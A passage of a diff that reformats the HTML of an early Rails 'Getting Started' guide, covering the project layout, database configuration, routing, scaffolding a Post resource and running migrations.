+<td align="left"><p class="table">This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>Rakefile</tt></p></td>
+<td align="left"><p class="table">This file contains batch jobs that can be run from the terminal.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>app/</tt></p></td>
+<td align="left"><p class="table">Contains the controllers, models, and views for your application. You&#8217;ll focus on this folder for the remainder of this guide.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>config/</tt></p></td>
+<td align="left"><p class="table">Configure your application&#8217;s runtime rules, routes, database, and more.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>db/</tt></p></td>
+<td align="left"><p class="table">Shows your current database schema, as well as the database migrations. You&#8217;ll learn about migrations shortly.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>doc/</tt></p></td>
+<td align="left"><p class="table">In-depth documentation for your application.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>lib/</tt></p></td>
+<td align="left"><p class="table">Extended modules for your application (not covered in this guide).</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>log/</tt></p></td>
+<td align="left"><p class="table">Application log files.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>public/</tt></p></td>
+<td align="left"><p class="table">The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>script/</tt></p></td>
+<td align="left"><p class="table">Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>test/</tt></p></td>
+<td align="left"><p class="table">Unit tests, fixtures, and other test apparatus. These are covered in <a href="../testing_rails_applications.html">Testing Rails Applications</a></p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>tmp/</tt></p></td>
+<td align="left"><p class="table">Temporary files</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>vendor/</tt></p></td>
+<td align="left"><p class="table">A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.</p></td>
+</tr>
</tbody>
</table>
</div>
<h3 id="_configuring_a_database">3.3. Configuring a Database</h3>
-<div class="para"><p>Just about every Rails application will interact with a database. The database to use is specified in a configuration file, <tt>config/database.yml</tt>.
-If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Just about every Rails application will interact with a database. The database to use is specified in a configuration file, <tt>config/database.yml</tt>.
+If you open this file in a new Rails application, you&#8217;ll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:</p></div>
+<div class="ulist"><ul>
<li>
<p>
The <tt>development</tt> environment is used on your development computer as you interact manually with the application
@@ -720,8 +492,8 @@ The <tt>production</tt> environment is used when you deploy your application for
</li>
</ul></div>
<h4 id="_configuring_a_sqlite_database">3.3.1. Configuring a SQLite Database</h4>
-<div class="para"><p>Rails comes with built-in support for <a href="http://www.sqlite.org/">SQLite</a>, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.</p></div>
-<div class="para"><p>Here's the section of the default configuration file with connection information for the development environment:</p></div>
+<div class="paragraph"><p>Rails comes with built-in support for <a href="http://www.sqlite.org/">SQLite</a>, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.</p></div>
+<div class="paragraph"><p>Here&#8217;s the section of the default configuration file with connection information for the development environment:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -730,19 +502,17 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt>development<span style="color: #990000">:</span>
adapter<span style="color: #990000">:</span> sqlite3
database<span style="color: #990000">:</span> db<span style="color: #990000">/</span>development<span style="color: #990000">.</span>sqlite3
- timeout<span style="color: #990000">:</span> <span style="color: #993399">5000</span>
-</tt></pre></div></div>
-<div class="para"><p>If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:</p></div>
-<div class="para"><p>If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem. Similar to installing Rails you just need to run:</p></div>
+ timeout<span style="color: #990000">:</span> <span style="color: #993399">5000</span></tt></pre></div></div>
+<div class="paragraph"><p>If you don&#8217;t have any database set up, SQLite is the easiest to get installed. If you&#8217;re on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:</p></div>
+<div class="paragraph"><p>If you&#8217;re not running OS X 10.5 or greater, you&#8217;ll need to install the SQLite gem. Similar to installing Rails you just need to run:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ gem install sqlite3-ruby
-</tt></pre></div></div>
+<pre><tt>$ gem install sqlite3-ruby</tt></pre></div></div>
<h4 id="_configuring_a_mysql_database">3.3.2. Configuring a MySQL Database</h4>
-<div class="para"><p>If you choose to use MySQL, your <tt>config/database.yml</tt> will look a little different. Here's the development section:</p></div>
+<div class="paragraph"><p>If you choose to use MySQL, your <tt>config/database.yml</tt> will look a little different. Here&#8217;s the development section:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -754,11 +524,10 @@ http://www.gnu.org/software/src-highlite -->
database<span style="color: #990000">:</span> blog_development
username<span style="color: #990000">:</span> root
password<span style="color: #990000">:</span>
- socket<span style="color: #990000">:</span> <span style="color: #FF6600">/tmp/</span>mysql<span style="color: #990000">.</span>sock
-</tt></pre></div></div>
-<div class="para"><p>If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the <tt>development</tt> section as appropriate.</p></div>
+ socket<span style="color: #990000">:</span> <span style="color: #FF6600">/tmp/</span>mysql<span style="color: #990000">.</span>sock</tt></pre></div></div>
+<div class="paragraph"><p>If your development computer&#8217;s MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the <tt>development</tt> section as appropriate.</p></div>
<h4 id="_configuring_a_postgresql_database">3.3.3. Configuring a PostgreSQL Database</h4>
-<div class="para"><p>If you choose to use PostgreSQL, your <tt>config/database.yml</tt> will be customized to use PostgreSQL databases:</p></div>
+<div class="paragraph"><p>If you choose to use PostgreSQL, your <tt>config/database.yml</tt> will be customized to use PostgreSQL databases:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -769,56 +538,51 @@ http://www.gnu.org/software/src-highlite -->
encoding<span style="color: #990000">:</span> unicode
database<span style="color: #990000">:</span> blog_development
username<span style="color: #990000">:</span> blog
- password<span style="color: #990000">:</span>
-</tt></pre></div></div>
-<div class="para"><p>Change the username and password in the <tt>development</tt> section as appropriate.</p></div>
+ password<span style="color: #990000">:</span></tt></pre></div></div>
+<div class="paragraph"><p>Change the username and password in the <tt>development</tt> section as appropriate.</p></div>
<h4 id="_creating_the_database">3.3.4. Creating the Database</h4>
-<div class="para"><p>Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command:</p></div>
+<div class="paragraph"><p>Now that you have your database configured, it&#8217;s time to have Rails create an empty database for you. You can do this by running a rake command:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>create
-</tt></pre></div></div>
+<pre><tt>$ rake db<span style="color: #990000">:</span>create</tt></pre></div></div>
</div>
<h2 id="_hello_rails">4. Hello, Rails!</h2>
<div class="sectionbody">
-<div class="para"><p>One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:</p></div>
+<div class="paragraph"><p>One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate controller home index
-</tt></pre></div></div>
+<pre><tt>$ script/generate controller home index</tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails <tt>script</tt> commands to Ruby: <tt>ruby script/generate controller home index</tt>.</td>
+<td class="content">If you&#8217;re on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails <tt>script</tt> commands to Ruby: <tt>ruby script/generate controller home index</tt>.</td>
</tr></table>
</div>
-<div class="para"><p>Rails will create several files for you, including <tt>app/views/home/index.html.erb</tt>. This is the template that will be used to display the results of the <tt>index</tt> action (method) in the <tt>home</tt> controller. Open this file in your text editor and edit it to contain a single line of code:</p></div>
+<div class="paragraph"><p>Rails will create several files for you, including <tt>app/views/home/index.html.erb</tt>. This is the template that will be used to display the results of the <tt>index</tt> action (method) in the <tt>home</tt> controller. Open this file in your text editor and edit it to contain a single line of code:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span></tt></pre></div></div>
<h3 id="_starting_up_the_web_server">4.1. Starting up the Web Server</h3>
-<div class="para"><p>You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:</p></div>
+<div class="paragraph"><p>You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/server
-</tt></pre></div></div>
-<div class="para"><p>This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to <tt>http://localhost:3000</tt>. You should see Rails' default information page:</p></div>
-<div class="para"><p><span class="image">
+<pre><tt>$ script/server</tt></pre></div></div>
+<div class="paragraph"><p>This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to <tt>http://localhost:3000</tt>. You should see Rails' default information page:</p></div>
+<div class="paragraph"><p><span class="image">
<img src="images/rails_welcome.png" alt="Welcome Aboard screenshot" title="Welcome Aboard screenshot" />
</span></p></div>
<div class="admonitionblock">
@@ -826,39 +590,36 @@ http://www.gnu.org/software/src-highlite -->
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.</td>
+<td class="content">To stop the web server, hit Ctrl+C in the terminal window where it&#8217;s running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.</td>
</tr></table>
</div>
-<div class="para"><p>The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to <tt>http://localhost:3000/home/index</tt>.</p></div>
+<div class="paragraph"><p>The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to <tt>http://localhost:3000/home/index</tt>.</p></div>
<h3 id="_setting_the_application_home_page">4.2. Setting the Application Home Page</h3>
-<div class="para"><p>You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:</p></div>
+<div class="paragraph"><p>You&#8217;d probably like to replace the "Welcome Aboard" page with your own application&#8217;s home page. The first step to doing this is to delete the default page from your application:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rm public/index<span style="color: #990000">.</span>html
-</tt></pre></div></div>
-<div class="para"><p>Now, you have to tell Rails where your actual home page is located. Open the file <tt>config/routes.rb</tt> in your editor. This is your application's, <em>routing file</em>, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the <em>default routes</em>:</p></div>
+<pre><tt>$ rm public/index<span style="color: #990000">.</span>html</tt></pre></div></div>
+<div class="paragraph"><p>Now, you have to tell Rails where your actual home page is located. Open the file <tt>config/routes.rb</tt> in your editor. This is your application&#8217;s, <em>routing file</em>, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you&#8217;ll see the <em>default routes</em>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>The default routes handle simple requests such as <tt>/home/index</tt>: Rails translates that into a call to the <tt>index</tt> action in the <tt>home</tt> controller. As another example, <tt>/posts/edit/1</tt> would run the <tt>edit</tt> action in the <tt>posts</tt> controller with an <tt>id</tt> of 1.</p></div>
-<div class="para"><p>To hook up your home page, you need to add another line to the routing file, above the default routes:</p></div>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
+<div class="paragraph"><p>The default routes handle simple requests such as <tt>/home/index</tt>: Rails translates that into a call to the <tt>index</tt> action in the <tt>home</tt> controller. As another example, <tt>/posts/edit/1</tt> would run the <tt>edit</tt> action in the <tt>posts</tt> controller with an <tt>id</tt> of 1.</p></div>
+<div class="paragraph"><p>To hook up your home page, you need to add another line to the routing file, above the default routes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"home"</span>
-</tt></pre></div></div>
-<div class="para"><p>This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the <tt>index</tt> action.</p></div>
-<div class="para"><p>Now if you navigate to <tt>http://localhost:3000</tt> in your browser, you'll see the <tt>home/index</tt> view.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"home"</span></tt></pre></div></div>
+<div class="paragraph"><p>This line illustrates one tiny bit of the "convention over configuration" approach: if you don&#8217;t specify an action, Rails assumes the <tt>index</tt> action.</p></div>
+<div class="paragraph"><p>Now if you navigate to <tt>http://localhost:3000</tt> in your browser, you&#8217;ll see the <tt>home/index</tt> view.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -870,162 +631,102 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_getting_up_and_running_quickly_with_scaffolding">5. Getting Up and Running Quickly With Scaffolding</h2>
<div class="sectionbody">
-<div class="para"><p>Rails <em>scaffolding</em> is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.</p></div>
+<div class="paragraph"><p>Rails <em>scaffolding</em> is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.</p></div>
</div>
<h2 id="_creating_a_resource">6. Creating a Resource</h2>
<div class="sectionbody">
-<div class="para"><p>In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:</p></div>
+<div class="paragraph"><p>In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate scaffold Post name<span style="color: #990000">:</span>string title<span style="color: #990000">:</span>string content<span style="color: #990000">:</span>text
-</tt></pre></div></div>
+<pre><tt>$ script/generate scaffold Post name<span style="color: #990000">:</span>string title<span style="color: #990000">:</span>string content<span style="color: #990000">:</span>text</tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.</td>
+<td class="content">While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you&#8217;ll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.</td>
</tr></table>
</div>
-<div class="para"><p>The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:</p></div>
+<div class="paragraph"><p>The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here&#8217;s a quick overview of what it creates:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="525" />
-<col width="1062" />
-<thead>
- <tr>
- <th align="left">
- File
- </th>
- <th align="left">
- Purpose
- </th>
- </tr>
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">File </th>
+<th align="left">Purpose</th>
+</tr>
</thead>
<tbody valign="top">
- <tr>
- <td align="left">
- app/models/post.rb
- </td>
- <td align="left">
- The Post model
- </td>
- </tr>
- <tr>
- <td align="left">
- db/migrate/20081013124235_create_posts.rb
- </td>
- <td align="left">
- Migration to create the posts table in your database (your name will include a different timestamp)
- </td>
- </tr>
- <tr>
- <td align="left">
- app/views/posts/index.html.erb
- </td>
- <td align="left">
- A view to display an index of all posts
- </td>
- </tr>
- <tr>
- <td align="left">
- app/views/posts/show.html.erb
- </td>
- <td align="left">
- A view to display a single post
- </td>
- </tr>
- <tr>
- <td align="left">
- app/views/posts/new.html.erb
- </td>
- <td align="left">
- A view to create a new post
- </td>
- </tr>
- <tr>
- <td align="left">
- app/views/posts/edit.html.erb
- </td>
- <td align="left">
- A view to edit an existing post
- </td>
- </tr>
- <tr>
- <td align="left">
- app/views/layouts/posts.html.erb
- </td>
- <td align="left">
- A view to control the overall look and feel of the other posts views
- </td>
- </tr>
- <tr>
- <td align="left">
- public/stylesheets/scaffold.css
- </td>
- <td align="left">
- Cascading style sheet to make the scaffolded views look better
- </td>
- </tr>
- <tr>
- <td align="left">
- app/controllers/posts_controller.rb
- </td>
- <td align="left">
- The Posts controller
- </td>
- </tr>
- <tr>
- <td align="left">
- test/functional/posts_controller_test.rb
- </td>
- <td align="left">
- Functional testing harness for the posts controller
- </td>
- </tr>
- <tr>
- <td align="left">
- app/helpers/posts_helper.rb
- </td>
- <td align="left">
- Helper functions to be used from the posts views
- </td>
- </tr>
- <tr>
- <td align="left">
- config/routes.rb
- </td>
- <td align="left">
- Edited to include routing information for posts
- </td>
- </tr>
- <tr>
- <td align="left">
- test/fixtures/posts.yml
- </td>
- <td align="left">
- Dummy posts for use in testing
- </td>
- </tr>
- <tr>
- <td align="left">
- test/unit/post_test.rb
- </td>
- <td align="left">
- Unit testing harness for the posts model
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table">app/models/post.rb</p></td>
+<td align="left"><p class="table">The Post model</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">db/migrate/20081013124235_create_posts.rb</p></td>
+<td align="left"><p class="table">Migration to create the posts table in your database (your name will include a different timestamp)</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">app/views/posts/index.html.erb</p></td>
+<td align="left"><p class="table">A view to display an index of all posts</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">app/views/posts/show.html.erb</p></td>
+<td align="left"><p class="table">A view to display a single post</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">app/views/posts/new.html.erb</p></td>
+<td align="left"><p class="table">A view to create a new post</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">app/views/posts/edit.html.erb</p></td>
+<td align="left"><p class="table">A view to edit an existing post</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">app/views/layouts/posts.html.erb</p></td>
+<td align="left"><p class="table">A view to control the overall look and feel of the other posts views</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">public/stylesheets/scaffold.css</p></td>
+<td align="left"><p class="table">Cascading style sheet to make the scaffolded views look better</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">app/controllers/posts_controller.rb</p></td>
+<td align="left"><p class="table">The Posts controller</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">test/functional/posts_controller_test.rb</p></td>
+<td align="left"><p class="table">Functional testing harness for the posts controller</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">app/helpers/posts_helper.rb</p></td>
+<td align="left"><p class="table">Helper functions to be used from the posts views</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">config/routes.rb</p></td>
+<td align="left"><p class="table">Edited to include routing information for posts</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">test/fixtures/posts.yml</p></td>
+<td align="left"><p class="table">Dummy posts for use in testing</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">test/unit/post_test.rb</p></td>
+<td align="left"><p class="table">Unit testing harness for the posts model</p></td>
+</tr>
</tbody>
</table>
</div>
<h3 id="_running_a_migration">6.1. Running a Migration</h3>
-<div class="para"><p>One of the products of the <tt>script/generate scaffold</tt> command is a <em>database migration</em>. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.</p></div>
-<div class="para"><p>If you look in the <tt>db/migrate/20081013124235_create_posts.rb</tt> file (remember, yours will have a slightly different name), here's what you'll find:</p></div>
+<div class="paragraph"><p>One of the products of the <tt>script/generate scaffold</tt> command is a <em>database migration</em>. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it&#8217;s possible to undo a migration after it&#8217;s been applied to your database. Migration filenames include a timestamp to ensure that they&#8217;re processed in the order that they were created.</p></div>
+<div class="paragraph"><p>If you look in the <tt>db/migrate/20081013124235_create_posts.rb</tt> file (remember, yours will have a slightly different name), here&#8217;s what you&#8217;ll find:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1045,28 +746,26 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>posts
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you were to translate that into words, it says something like: when this migration is run, create a table named <tt>posts</tt> with two string columns (<tt>name</tt> and <tt>title</tt>) and a text column (<tt>content</tt>), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the <a href="../migrations.html">Rails Database Migrations</a> guide.</p></div>
-<div class="para"><p>At this point, you can use a rake command to run the migration:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you were to translate that into words, it says something like: when this migration is run, create a table named <tt>posts</tt> with two string columns (<tt>name</tt> and <tt>title</tt>) and a text column (<tt>content</tt>), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the <a href="../migrations.html">Rails Database Migrations</a> guide.</p></div>
+<div class="paragraph"><p>At this point, you can use a rake command to run the migration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>$ rake db<span style="color: #990000">:</span>create
-$ rake db<span style="color: #990000">:</span>migrate
-</tt></pre></div></div>
+$ rake db<span style="color: #990000">:</span>migrate</tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">Because you're working in the development environment by default, this command will apply to the database defined in the <tt>development</tt> section of your <tt>config/database.yml</tt> file.</td>
+<td class="content">Because you&#8217;re working in the development environment by default, this command will apply to the database defined in the <tt>development</tt> section of your <tt>config/database.yml</tt> file.</td>
</tr></table>
</div>
<h3 id="_adding_a_link">6.2. Adding a Link</h3>
-<div class="para"><p>To hook the posts up to the home page you've already created, you can add a link to the home page. Open <tt>/app/views/home/index.html.erb</tt> and modify it as follows:</p></div>
+<div class="paragraph"><p>To hook the posts up to the home page you&#8217;ve already created, you can add a link to the home page. Open <tt>/app/views/home/index.html.erb</tt> and modify it as follows:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1074,37 +773,35 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Hello<span style="color: #990000">,</span> Rails!<span style="color: #FF0000">&lt;/h1&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to "My Blog", posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>link_to</tt> method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.</p></div>
+<span style="color: #FF0000">&lt;%= link_to "My Blog", posts_path %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>link_to</tt> method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.</p></div>
<h3 id="_working_with_posts_in_the_browser">6.3. Working with Posts in the Browser</h3>
-<div class="para"><p>Now you're ready to start working with posts. To do that, navigate to <tt>http://localhost:3000</tt> and then click the "My Blog" link:</p></div>
-<div class="para"><p><span class="image">
+<div class="paragraph"><p>Now you&#8217;re ready to start working with posts. To do that, navigate to <tt>http://localhost:3000</tt> and then click the "My Blog" link:</p></div>
+<div class="paragraph"><p><span class="image">
<img src="images/posts_index.png" alt="Posts Index screenshot" title="Posts Index screenshot" />
</span></p></div>
-<div class="para"><p>This is the result of Rails rendering the <tt>index</tt> view of your posts. There aren't currently any posts in the database, but if you click the <tt>New Post</tt> link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single <tt>script/generate scaffold</tt> command.</p></div>
+<div class="paragraph"><p>This is the result of Rails rendering the <tt>index</tt> view of your posts. There aren&#8217;t currently any posts in the database, but if you click the <tt>New Post</tt> link you can create one. After that, you&#8217;ll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single <tt>script/generate scaffold</tt> command.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.</td>
+<td class="content">In development mode (which is what you&#8217;re working in by default), Rails reloads your application with every browser request, so there&#8217;s no need to stop and restart the web server.</td>
</tr></table>
</div>
-<div class="para"><p>Congratulations, you're riding the rails! Now it's time to see how it all works.</p></div>
+<div class="paragraph"><p>Congratulations, you&#8217;re riding the rails! Now it&#8217;s time to see how it all works.</p></div>
<h3 id="_the_model">6.4. The Model</h3>
-<div class="para"><p>The model file, <tt>app/models/post.rb</tt> is about as simple as it can get:</p></div>
+<div class="paragraph"><p>The model file, <tt>app/models/post.rb</tt> is about as simple as it can get:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>There isn't much to this file - but note that the <tt>Post</tt> class inherits from <tt>ActiveRecord::Base</tt>. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>There isn&#8217;t much to this file - but note that the <tt>Post</tt> class inherits from <tt>ActiveRecord::Base</tt>. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.</p></div>
<h3 id="_adding_some_validation">6.5. Adding Some Validation</h3>
